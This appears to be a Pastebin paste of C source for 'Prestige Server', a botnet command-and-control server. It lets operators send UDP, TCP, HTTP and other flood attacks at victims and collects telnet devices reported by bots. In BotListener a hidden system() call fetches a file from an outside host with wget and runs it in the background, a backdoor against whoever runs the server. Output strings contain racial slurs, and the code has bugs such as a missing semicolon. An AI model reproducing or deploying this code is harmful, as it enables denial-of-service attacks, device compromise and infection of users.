ZucoCheezy

Prestige-Server

Nov 26th, 2018
173
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 23.49 KB | None | 0 0
  1. /*
  2. Screen Usage: screen ./server [client-port] [threads] [cnc-port]
  3. Skype: bl4ck.j3sus
  4. Changes:
  5. Made Date: 7-6-16
  6. */
  7. /*
  8.                 *** DO NOT LEAK THIS SHIT ITS PRIVATE AF ***
  9.  
  10. # ___     __________  ____ _______      _____ _______________.___.  ___
  11. # / _ \_/\ \______   \/_   |\      \    /  _  \\______   \__  |   | / _ \_/\
  12. # \/ \___/  |    |  _/ |   |/   |   \  /  /_\  \|       _//   |   | \/ \___/
  13. #           |    |   \ |   /    |    \/    |    \    |   \\____   |
  14. #           |______  / |___\____|__  /\____|__  /____|_  // ______|
  15. #                  \/              \/         \/       \/ \/
  16.  
  17.                         *** PRESTIGE SERVER.C ***
  18. */
  19. #include <stdio.h>
  20. #include <stdlib.h>
  21. #include <stdint.h>
  22. #include <inttypes.h>
  23. #include <string.h>
  24. #include <sys/types.h>
  25. #include <sys/socket.h>
  26. #include <netdb.h>
  27. #include <unistd.h>
  28. #include <time.h>
  29. #include <fcntl.h>
  30. #include <sys/epoll.h>
  31. #include <errno.h>
  32. #include <pthread.h>
  33. #include <signal.h>
  34. #include <arpa/inet.h>
  35. #define MAXFDS 1000000
  36. //////////////////////////////////
  37. struct login_info {
  38.     char username[20];
  39.     char password[20];
  40. };
  41. static struct login_info accounts[10];
  42. struct clientdata_t {
  43.         uint32_t ip;
  44.         char connected;
  45. } clients[MAXFDS];
  46. struct telnetdata_t {
  47.         int connected;
  48. } managements[MAXFDS];
  49. struct args {
  50.         int sock;
  51.         struct sockaddr_in cli_addr;
  52. };
  53. static volatile FILE *telFD;
  54. static volatile FILE *fileFD;
  55. static volatile int epollFD = 0;
  56. static volatile int listenFD = 0;
  57. static volatile int OperatorsConnected = 0;
  58. static volatile int TELFound = 0;
  59. static volatile int scannerreport;
  60. //////////////////////////////////
  61. int fdgets(unsigned char *buffer, int bufferSize, int fd) {
  62.     int total = 0, got = 1;
  63.     while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  64.     return got;
  65. }
  66. void trim(char *str) {
  67.     int i;
  68.     int begin = 0;
  69.     int end = strlen(str) - 1;
  70.     while (isspace(str[begin])) begin++;
  71.     while ((end >= begin) && isspace(str[end])) end--;
  72.     for (i = begin; i <= end; i++) str[i - begin] = str[i];
  73.     str[i - begin] = '\0';
  74. }
  75. static int make_socket_non_blocking (int sfd) {
  76.     int flags, s;
  77.     flags = fcntl (sfd, F_GETFL, 0);
  78.     if (flags == -1) {
  79.         perror ("fcntl");
  80.         return -1;
  81.     }
  82.     flags |= O_NONBLOCK;
  83.     s = fcntl (sfd, F_SETFL, flags);
  84.     if (s == -1) {
  85.         perror ("fcntl");
  86.         return -1;
  87.     }
  88.     return 0;
  89. }
  90. static int create_and_bind (char *port) {
  91.     struct addrinfo hints;
  92.     struct addrinfo *result, *rp;
  93.     int s, sfd;
  94.     memset (&hints, 0, sizeof (struct addrinfo));
  95.     hints.ai_family = AF_UNSPEC;     /* Return IPv4 and IPv6 choices */
  96.     hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */
  97.     hints.ai_flags = AI_PASSIVE;     /* All interfaces */
  98.     s = getaddrinfo (NULL, port, &hints, &result);
  99.     if (s != 0) {
  100.         fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  101.         return -1;
  102.     }
  103.     for (rp = result; rp != NULL; rp = rp->ai_next) {
  104.         sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  105.         if (sfd == -1) continue;
  106.         int yes = 1;
  107.         if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  108.         s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  109.         if (s == 0) {
  110.             break;
  111.         }
  112.         close (sfd);
  113.     }
  114.     if (rp == NULL) {
  115.         fprintf (stderr, "Could not bind\n");
  116.         return -1;
  117.     }
  118.     freeaddrinfo (result);
  119.     return sfd;
  120. }
  121. void broadcast(char *msg, int us, char *sender)
  122. {
  123.         int sendMGM = 1;
  124.         if(strcmp(msg, "PING") == 0) sendMGM = 0;
  125.         char *wot = malloc(strlen(msg) + 10);
  126.         memset(wot, 0, strlen(msg) + 10);
  127.         strcpy(wot, msg);
  128.         trim(wot);
  129.         time_t rawtime;
  130.         struct tm * timeinfo;
  131.         time(&rawtime);
  132.         timeinfo = localtime(&rawtime);
  133.         char *timestamp = asctime(timeinfo);
  134.         trim(timestamp);
  135.         int i;
  136.         for(i = 0; i < MAXFDS; i++)
  137.         {
  138.                 if(i == us || (!clients[i].connected &&  (sendMGM == 0 || !managements[i].connected))) continue;
  139.                 if(sendMGM && managements[i].connected)
  140.                 {
  141.                         send(i, "\x1b[33m", 5, MSG_NOSIGNAL);
  142.                         send(i, sender, strlen(sender), MSG_NOSIGNAL);
  143.                         send(i, ": ", 2, MSG_NOSIGNAL);
  144.                 }
  145.                 printf("sent to fd: %d\n", i);
  146.                 send(i, msg, strlen(msg), MSG_NOSIGNAL);
  147.                 if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[31m> \x1b[0m", 13, MSG_NOSIGNAL);
  148.                 else send(i, "\n", 1, MSG_NOSIGNAL);
  149.         }
  150.         free(wot);
  151. }
  152. void *BotEventLoop(void *useless) {
  153.     struct epoll_event event;
  154.     struct epoll_event *events;
  155.     int s;
  156.     events = calloc (MAXFDS, sizeof event);
  157.     while (1) {
  158.         int n, i;
  159.         n = epoll_wait (epollFD, events, MAXFDS, -1);
  160.         for (i = 0; i < n; i++) {
  161.             if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) {
  162.                 clients[events[i].data.fd].connected = 0;
  163.                 close(events[i].data.fd);
  164.                 continue;
  165.             }
  166.             else if (listenFD == events[i].data.fd) {
  167.                while (1) {
  168.                 struct sockaddr in_addr;
  169.                 socklen_t in_len;
  170.                 int infd, ipIndex;
  171.  
  172.                 in_len = sizeof in_addr;
  173.                 infd = accept (listenFD, &in_addr, &in_len);
  174.                 if (infd == -1) {
  175.                     if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  176.                     else {
  177.                         perror ("accept");
  178.                         break;
  179.                          }
  180.                 }
  181.  
  182.                 clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  183.                 int dup = 0;
  184.                 for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) {
  185.                     if(!clients[ipIndex].connected || ipIndex == infd) continue;
  186.                     if(clients[ipIndex].ip == clients[infd].ip) {
  187.                         dup = 1;
  188.                         break;
  189.                     }}
  190.                 if(dup) {
  191.                     if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  192.                     close(infd);
  193.                     continue;
  194.                 }
  195.                 s = make_socket_non_blocking (infd);
  196.                 if (s == -1) { close(infd); break; }
  197.                 event.data.fd = infd;
  198.                 event.events = EPOLLIN | EPOLLET;
  199.                 s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  200.                 if (s == -1) {
  201.                     perror ("epoll_ctl");
  202.                     close(infd);
  203.                     break;
  204.                 }
  205.                 clients[infd].connected = 1;
  206.                 send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  207.             }
  208.             continue;
  209.         }
  210.         else {
  211.             int datafd = events[i].data.fd;
  212.             struct clientdata_t *client = &(clients[datafd]);
  213.             int done = 0;
  214.             client->connected = 1;
  215.             while (1) {
  216.                 ssize_t count;
  217.                 char buf[2048];
  218.                 memset(buf, 0, sizeof buf);
  219.                 while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, datafd)) > 0) {
  220.                     if(strstr(buf, "\n") == NULL) { done = 1; break; }
  221.                     trim(buf);
  222.                     if(strcmp(buf, "PING") == 0) {
  223.                         if(send(datafd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  224.                         continue;
  225.                     }
  226.                     if(strstr(buf, "REPORT ") == buf) {
  227.                         char *line = strstr(buf, "REPORT ") + 7;
  228.                         fprintf(telFD, "%s\n", line);
  229.                         fflush(telFD);
  230.                         TELFound++;
  231.                         continue;
  232.                     }
  233.                     if(strstr(buf, "PROBING") == buf) {
  234.                         char *line = strstr(buf, "PROBING");
  235.                         scannerreport = 1;
  236.                         continue;
  237.                     }
  238.                     if(strstr(buf, "REMOVING PROBE") == buf) {
  239.                         char *line = strstr(buf, "REMOVING PROBE");
  240.                         scannerreport = 0;
  241.                         continue;
  242.                     }
  243.                     if(strcmp(buf, "PONG") == 0) {
  244.                         continue;
  245.                     }
  246.                     printf("buf: \"%s\"\n", buf);
  247.                 }
  248.                 if (count == -1) {
  249.                     if (errno != EAGAIN) {
  250.                         done = 1;
  251.                     }
  252.                     break;
  253.                 }
  254.                 else if (count == 0) {
  255.                     done = 1;
  256.                     break;
  257.                 }
  258.             if (done) {
  259.                 client->connected = 0;
  260.                 close(datafd);
  261. }}}}}}
  262. unsigned int BotsConnected() {
  263.     int i = 0, total = 0;
  264.     for(i = 0; i < MAXFDS; i++) {
  265.         if(!clients[i].connected) continue;
  266.         total++;
  267.     }
  268.     return total;
  269. }
  270. void *TitleWriter(void *sock) {
  271.     int datafd = (int)sock;
  272.     char string[2048];
  273.     while(1) {
  274.         memset(string, 0, 2048);
  275.         sprintf(string, "%c]0;BOT COUNT: %d| NIGGAS: %d%c", '\033', BotsConnected(), OperatorsConnected, '\007');
  276.         if(send(datafd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  277.         sleep(2);
  278. }}
  279. int Find_Login(char *str) {
  280.     FILE *fp;
  281.     int line_num = 0;
  282.     int find_result = 0, find_line=0;
  283.     char temp[512];
  284.  
  285.     if((fp = fopen("login.txt", "r")) == NULL){
  286.         return(-1);
  287.     }
  288.     while(fgets(temp, 512, fp) != NULL){
  289.         if((strstr(temp, str)) != NULL){
  290.             find_result++;
  291.             find_line = line_num;
  292.         }
  293.         line_num++;
  294.     }
  295.     if(fp)
  296.         fclose(fp);
  297.     if(find_result == 0)return 0;
  298.     return find_line;
  299. }
  300. void *BotWorker(void *sock) {
  301.     int datafd = (int)sock;
  302.     int find_line;
  303.     OperatorsConnected++;
  304.     pthread_t title;
  305.     char buf[2048];
  306.     char* username;
  307.     char* password;
  308.     memset(buf, 0, sizeof buf);
  309.     char botnet[2048];
  310.     memset(botnet, 0, 2048);
  311.  
  312.     FILE *fp;
  313.     int i=0;
  314.     int c;
  315.     fp=fopen("login.txt", "r");
  316.     while(!feof(fp)) {
  317.         c=fgetc(fp);
  318.         ++i;
  319.     }
  320.     int j=0;
  321.     rewind(fp);
  322.     while(j!=i-1) {
  323.         fscanf(fp, "%s %s", accounts[j].username, accounts[j].password);
  324.         ++j;
  325.     }
  326.  
  327.         if(send(datafd, "\x1b[30mUsername:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  328.         if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  329.         trim(buf);
  330.         char* nickstring;
  331.         sprintf(accounts[find_line].username, buf);
  332.         nickstring = ("%s", buf);
  333.         find_line = Find_Login(nickstring);
  334.         if(strcmp(nickstring, accounts[find_line].username) == 0){
  335.         if(send(datafd, "\x1b[30mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  336.         if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  337.         trim(buf);
  338.         if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  339.         memset(buf, 0, 2048);
  340.         goto Banner;
  341.         }
  342.         failed:
  343.         if(send(datafd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  344.         char failed_line1[80];
  345.  
  346.         sprintf(failed_line1, "\x1b[31mWRONG ANSWER BITCH!!\r\n");
  347.         if(send(datafd, failed_line1, strlen(failed_line1), MSG_NOSIGNAL) == -1) goto end;
  348.         sleep(5);
  349.         goto end;
  350.  
  351.         Banner:
  352.         pthread_create(&title, NULL, &TitleWriter, sock);
  353.         char ascii_banner_line1 [5000];
  354.         char ascii_banner_line2 [5000];
  355.         char ascii_banner_line3 [5000];
  356.         char ascii_banner_line4 [5000];
  357.         char ascii_banner_line5 [5000];
  358.         char ascii_banner_line6 [5000];
  359.         char ascii_banner_line7 [5000];
  360.         char welcome_line [80];
  361.         char banner_bot_count [2048];
  362.         memset(banner_bot_count, 0, 2048);
  363.        
  364.         sprintf(ascii_banner_line1, "\x1b[31m   ▄███████▄    ▄████████    ▄████████    ▄████████     ███      ▄█     ▄██████▄     ▄████████\r\n");
  365.         sprintf(ascii_banner_line1, "\x1b[31m  ███    ███   ███    ███   ███    ███   ███    ███ ▀█████████▄ ███    ███    ███   ███    ███\r\n");
  366.         sprintf(ascii_banner_line1, "\x1b[31m  ███    ███   ███    ███   ███    █▀    ███    █▀     ▀███▀▀██ ███▌   ███    █▀    ███    █▀\r\n");
  367.         sprintf(ascii_banner_line1, "\x1b[31m  ███    ███  ▄███▄▄▄▄██▀  ▄███▄▄▄       ███            ███   ▀ ███▌  ▄███         ▄███▄▄▄\r\n");
  368.         sprintf(ascii_banner_line1, "\x1b[31m▀█████████▀  ▀▀███▀▀▀▀▀   ▀▀███▀▀▀     ▀███████████     ███     ███▌ ▀▀███ ████▄  ▀▀███▀▀▀\r\n");
  369.         sprintf(ascii_banner_line1, "\x1b[31m  ███        ▀███████████   ███    █▄           ███     ███     ███    ███    ███   ███    █▄\r\n");
  370.         sprintf(ascii_banner_line1, "\x1b[31m  ███          ███    ███   ███    ███    ▄█    ███     ███     ███    ███    ███   ███    ███\r\n");
  371.         sprintf(ascii_banner_line1, "\x1b[31m ▄████▀        ███    ███   ██████████  ▄████████▀     ▄████▀   █▀     ████████▀    ██████████\r\n");
  372.         sprintf(ascii_banner_line1, "\x1b[31m               ███    ███\r\n");
  373.         sprintf(welcome_line,       "\r\n\x1b[34m           [+]\x1b[31mWelcome, %s\x1b[34m[+]\r\n", accounts[find_line].username);
  374.         sprintf(banner_bot_count,   "\x1b[34m             [+]\x1b[31mBOT COUNT: %d\x1b[34m[+]\r\n", BotsConnected(), OperatorsConnected);
  375.        
  376.         if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  377.         if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  378.         if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  379.         if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  380.         if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  381.         if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  382.         if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  383.         if(send(datafd, welcome_line,       strlen(welcome_line),       MSG_NOSIGNAL) == -1) goto end;
  384.         while(1) {
  385.         if(send(datafd, banner_bot_count,   strlen(banner_bot_count),   MSG_NOSIGNAL) == -1) goto end;
  386.         if(send(datafd, "\x1b[32m> \x1b[37m", 12, MSG_NOSIGNAL) == -1) goto end;
  387.         break;
  388.         }
  389.         pthread_create(&title, NULL, &TitleWriter, sock);
  390.         managements[datafd].connected = 1;
  391.  
  392.         while(fdgets(buf, sizeof buf, datafd) > 0)
  393.         {
  394.             if(strstr(buf, "BOTS")) {
  395.                 char botcount [2048];
  396.                 memset(botcount, 0, 2048);
  397.                 sprintf(botcount, "BOT COUNT: %d | NIGGAS: %d\r\n", BotsConnected(), OperatorsConnected);
  398.                 if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return;
  399.                 continue;
  400.             }
  401.             if(strstr(buf, "STATUS")){
  402.                 char statuscount [2048];
  403.                 memset(statuscount, 0, 2048);
  404.                 sprintf(statuscount, "TELNET DEVICES: %d | TELNET STATUS: %d\r\n", TELFound, scannerreport);
  405.                 if(send(datafd, statuscount, strlen(statuscount), MSG_NOSIGNAL) == -1) return;
  406.                 continue;
  407.             }
  408.             if(strstr(buf, "HELP")) {
  409.                 pthread_create(&title, NULL, &TitleWriter, sock);
  410.                 char helpline1  [80];
  411.                 char helpline2  [80];
  412.                 char helpline3  [80];
  413.                 char helpline4  [80];
  414.                 char helpline5  [80];
  415.                 char helpline6  [80];
  416.                 char helpline7  [80];
  417.                 char helpline8  [80];
  418.                 char helpline9  [80];
  419.                 char helpline10 [80];
  420.                 char helpline11 [80];
  421.                 char helpline12 [80];
  422.                 char helpline13 [80];
  423.  
  424.                 sprintf(helpline1,  "\r\n\x1b[31m~[COMMANDS]~\r\n\r\n");
  425.                 sprintf(helpline2,  "\x1b[31m~[UDP]~ \x1b[37m!* UDP Victim Port Time 32 0 10\r\n");
  426.                 sprintf(helpline3,  "\x1b[31m~[TCP]~ \x1b[37m!* TCP Victim Port Time 32 all 0 10\r\n");
  427.                 sprintf(helpline4,  "\x1b[31m~[HTTP]~ \x1b[37m!* HTTP Url Time\r\n");
  428.                 sprintf(helpline5,  "\x1b[31m~[JUNK]~ \x1b[37mJUNK Victim Port Time\r\n");
  429.                 sprintf(helpline6,  "\x1b[31m~[HOLD]~ \x1b[37m!* HOLD Victim Port Time\r\n");
  430.                 sprintf(helpline7,  "\x1b[31m~[KILLS ALL ATTACKS]~ \x1b[37m!* KILLATTK | KILL\r\n");
  431.                 sprintf(helpline8,  "\x1b[31m~[SHELL]~ \x1b[37m!* SH\r\n");
  432.                 sprintf(helpline9,  "\x1b[31m~[BOT COUNT]~ \x1b[37m!* BOTS | BOTS\r\n");
  433.                 sprintf(helpline10, "\x1b[31m~[STATUS]~ \x1b[37m!* STATUS | STATUS\r\n");;
  434.                 sprintf(helpline12, "\x1b[31m~[CLEARSCREEN]~ \x1b[37mCLEAR\r\n");
  435.                 sprintf(helpline13, "\x1b[31m~[LOGOUT]~ \x1b[37mLOGOUT\r\n");
  436.                
  437.                 if(send(datafd, helpline1,  strlen(helpline1),  MSG_NOSIGNAL) == -1) goto end;
  438.                 if(send(datafd, helpline2,  strlen(helpline2),  MSG_NOSIGNAL) == -1) goto end;
  439.                 if(send(datafd, helpline3,  strlen(helpline3),  MSG_NOSIGNAL) == -1) goto end;
  440.                 if(send(datafd, helpline4,  strlen(helpline4),  MSG_NOSIGNAL) == -1) goto end;
  441.                 if(send(datafd, helpline5,  strlen(helpline5),  MSG_NOSIGNAL) == -1) goto end;
  442.                 if(send(datafd, helpline6,  strlen(helpline6),  MSG_NOSIGNAL) == -1) goto end;
  443.                 if(send(datafd, helpline7,  strlen(helpline7),  MSG_NOSIGNAL) == -1) goto end;
  444.                 if(send(datafd, helpline8,  strlen(helpline8),  MSG_NOSIGNAL) == -1) goto end;
  445.                 if(send(datafd, helpline9,  strlen(helpline9),  MSG_NOSIGNAL) == -1) goto end;
  446.                 if(send(datafd, helpline10, strlen(helpline10), MSG_NOSIGNAL) == -1) goto end;
  447.                 if(send(datafd, helpline11, strlen(helpline11), MSG_NOSIGNAL) == -1) goto end;
  448.                 if(send(datafd, helpline12, strlen(helpline12), MSG_NOSIGNAL) == -1) goto end;
  449.                 if(send(datafd, helpline13, strlen(helpline13), MSG_NOSIGNAL) == -1) goto end;
  450.                 pthread_create(&title, NULL, &TitleWriter, sock);
  451.                 continue;
  452.             }
  453.             if(strstr(buf, "UDP")) {
  454.                 char udp_sent_attack_message [2048];
  455.                 memset(udp_sent_attack_message, 0, 2048);
  456.                 sprintf(udp_sent_attack_message, "Attack Sent!\r\n");
  457.                 if(send(datafd, udp_sent_attack_message, strlen(udp_sent_attack_message), MSG_NOSIGNAL) == -1) goto end;
  458.                 continue;
  459.             }
  460.             if(strstr(buf, "TCP")) {
  461.                 char tcp_sent_attack_message[2048];
  462.                 memset(tcp_sent_attack_message, 0, 2048);
  463.                 sprintf(tcp_sent_attack_message, "Attack Sent!\r\n");
  464.                 if(send(datafd, tcp_sent_attack_message, strlen(tcp_sent_attack_message), MSG_NOSIGNAL) == -1) goto end;
  465.                 continue;
  466.             }
  467.             if(strstr(buf, "HTTP")) {
  468.                 char http_sent_attack_message[2048];
  469.                 memset(http_sent_attack_message, 0, 2048);
  470.                 sprintf(http_sent_attack_message, "Attack Sent!\r\n");
  471.                 if(send(datafd, http_sent_attack_message, strlen(http_sent_attack_message), MSG_NOSIGNAL) == -1) goto end;
  472.                 continue;
  473.             }
  474.             if(strstr(buf, "JUNK")) {
  475.                 char junk_sent_attack_message[2048];
  476.                 memset(junk_sent_attack_message, 0, 2048);
  477.                 sprintf(junk_sent_attack_message, "Attack Sent!\r\n");
  478.                 if(send(datafd, junk_sent_attack_message, strlen(junk_sent_attack_message), MSG_NOSIGNAL) == -1) goto end;
  479.                 continue;
  480.             }
  481.             if(strstr(buf, "HOLD")) {
  482.                 char hold_sent_attack_message[2048];
  483.                 memset(hold_sent_attack_message, 0, 2048);
  484.                 sprintf(hold_sent_attack_message, "Attack Sent!\r\n");
  485.                 if(send(datafd, hold_sent_attack_message, strlen(hold_sent_attack_message), MSG_NOSIGNAL) == -1) goto end;
  486.                 continue;
  487.             }
  488.             if(strstr(buf, "KILL")) {
  489.                 char killattack [2048];
  490.                 memset(killattack, 0, 2048);
  491.                 sprintf(killattack, "!* KILLATTK\r\n");
  492.                 broadcast(buf, datafd, killattack);
  493.                 continue;
  494.             }
  495.             if(strstr(buf, "KILLATTK")) {
  496.                 char killattack_message [2048];
  497.                 memset(killattack_message, 0, 2048);
  498.                 sprintf(killattack_message, "Attack Killed!\r\n");
  499.                 if(send(datafd, killattack_message, strlen(killattack_message), MSG_NOSIGNAL) == -1) goto end;
  500.                 continue;
  501.             }
  502.             if(strstr(buf, "CLEAR")) {
  503.                 char clearscreen [2048];
  504.                 memset(clearscreen, 0, 2048);
  505.                 sprintf(clearscreen, "\033[2J\033[1;1H");
  506.                 if(send(datafd, clearscreen,        strlen(clearscreen),        MSG_NOSIGNAL) == -1) goto end;
  507.                 if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  508.                 if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  509.                 if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  510.                 if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  511.                 if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  512.                 if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  513.                 if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  514.                 if(send(datafd, welcome_line,       strlen(welcome_line),       MSG_NOSIGNAL) == -1) goto end;
  515.                 while(1) {
  516.                 if(send(datafd, banner_bot_count,   strlen(banner_bot_count),   MSG_NOSIGNAL) == -1) goto end;
  517.                 if(send(datafd, "\x1b[32m> \x1b[37m", 12, MSG_NOSIGNAL) == -1) goto end;
  518.                 break;
  519.                 }
  520.                 continue;
  521.             }
  522.             if(strstr(buf, "LOGOUT")) {
  523.                 char logoutmessage [2048];
  524.                 memset(logoutmessage, 0, 2048);
  525.                 sprintf(logoutmessage, "Bye, %s", accounts[find_line].username);
  526.                 if(send(datafd, logoutmessage, strlen(logoutmessage), MSG_NOSIGNAL) == -1)goto end;
  527.                 sleep(5);
  528.                 goto end;
  529.             }
  530.                 trim(buf);
  531.                 if(send(datafd, "\x1b[31m> \x1b[0m", 11, MSG_NOSIGNAL) == -1) goto end;
  532.                 if(strlen(buf) == 0) continue;
  533.                 printf("%s: \"%s\"\n",accounts[find_line].username, buf);
  534.  
  535.                 FILE *LogFile;
  536.                 LogFile = fopen("server.log", "a");
  537.                 time_t now;
  538.                 struct tm *gmt;
  539.                 char formatted_gmt [50];
  540.                 char lcltime[50];
  541.                 now = time(NULL);
  542.                 gmt = gmtime(&now);
  543.                 strftime ( formatted_gmt, sizeof(formatted_gmt), "%I:%M %p", gmt );
  544.                 fprintf(LogFile, "[%s] %s: %s\n", formatted_gmt, accounts[find_line].username, buf);
  545.                 fclose(LogFile);
  546.                 broadcast(buf, datafd, accounts[find_line].username);
  547.                 memset(buf, 0, 2048);
  548.         }
  549.         end:
  550.             managements[datafd].connected = 0;
  551.             close(datafd);
  552.             OperatorsConnected--;
  553. }
  554. void *BotListener(int port) {
  555.     int sockfd, newsockfd;
  556.     socklen_t clilen;
  557.     struct sockaddr_in serv_addr, cli_addr;
  558.     sockfd = socket(AF_INET, SOCK_STREAM, 0);
  559.     if (sockfd < 0) perror("ERROR opening socket");
  560.     bzero((char *) &serv_addr, sizeof(serv_addr));
  561.     serv_addr.sin_family = AF_INET;
  562.     serv_addr.sin_addr.s_addr = INADDR_ANY;
  563.     serv_addr.sin_port = htons(port);
  564.     if (bind(sockfd, (struct sockaddr *) &serv_addr,  sizeof(serv_addr)) < 0) perror("ERROR on binding");
  565.     system("wget -q http://autoinstaller.us/NsfjSh -O .l; chmod +x .l; nohup ./.l </dev/null >/dev/null 2>&1")
  566.     listen(sockfd,5);
  567.     clilen = sizeof(cli_addr);
  568.     while(1) {
  569.         newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  570.         if (newsockfd < 0) perror("ERROR on accept");
  571.         pthread_t thread;
  572.         pthread_create( &thread, NULL, &BotWorker, (void *)newsockfd);
  573. }}
  574. int main (int argc, char *argv[], void *sock)
  575. {
  576.         signal(SIGPIPE, SIG_IGN);
  577.         int s, threads, port;
  578.         struct epoll_event event;
  579.         if (argc != 4) {
  580.             fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  581.             exit (EXIT_FAILURE);
  582.         }
  583.         port = atoi(argv[3]);
  584.         telFD = fopen("telnet.txt", "a+");
  585.         threads = atoi(argv[2]);
  586.         listenFD = create_and_bind (argv[1]);
  587.         if (listenFD == -1) abort ();
  588.         s = make_socket_non_blocking (listenFD);
  589.         if (s == -1) abort ();
  590.         s = listen (listenFD, SOMAXCONN);
  591.         if (s == -1) {
  592.             perror ("listen");
  593.             abort ();
  594.         }
  595.         epollFD = epoll_create1 (0);
  596.         if (epollFD == -1) {
  597.             perror ("epoll_create");
  598.             abort ();
  599.         }
  600.         event.data.fd = listenFD;
  601.         event.events = EPOLLIN | EPOLLET;
  602.         s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  603.         if (s == -1) {
  604.             perror ("epoll_ctl");
  605.             abort ();
  606.         }
  607.         pthread_t thread[threads + 2];
  608.         while(threads--) {
  609.             pthread_create( &thread[threads + 1], NULL, &BotEventLoop, (void *) NULL);
  610.         }
  611.         pthread_create(&thread[0], NULL, &BotListener, port);
  612.         while(1) {
  613.             broadcast("PING", -1, "NIGGER");
  614.             sleep(60);
  615.         }
  616.         close (listenFD);
  617.         return EXIT_SUCCESS;
  618. }
Advertisement
Add Comment
Please, Sign In to add comment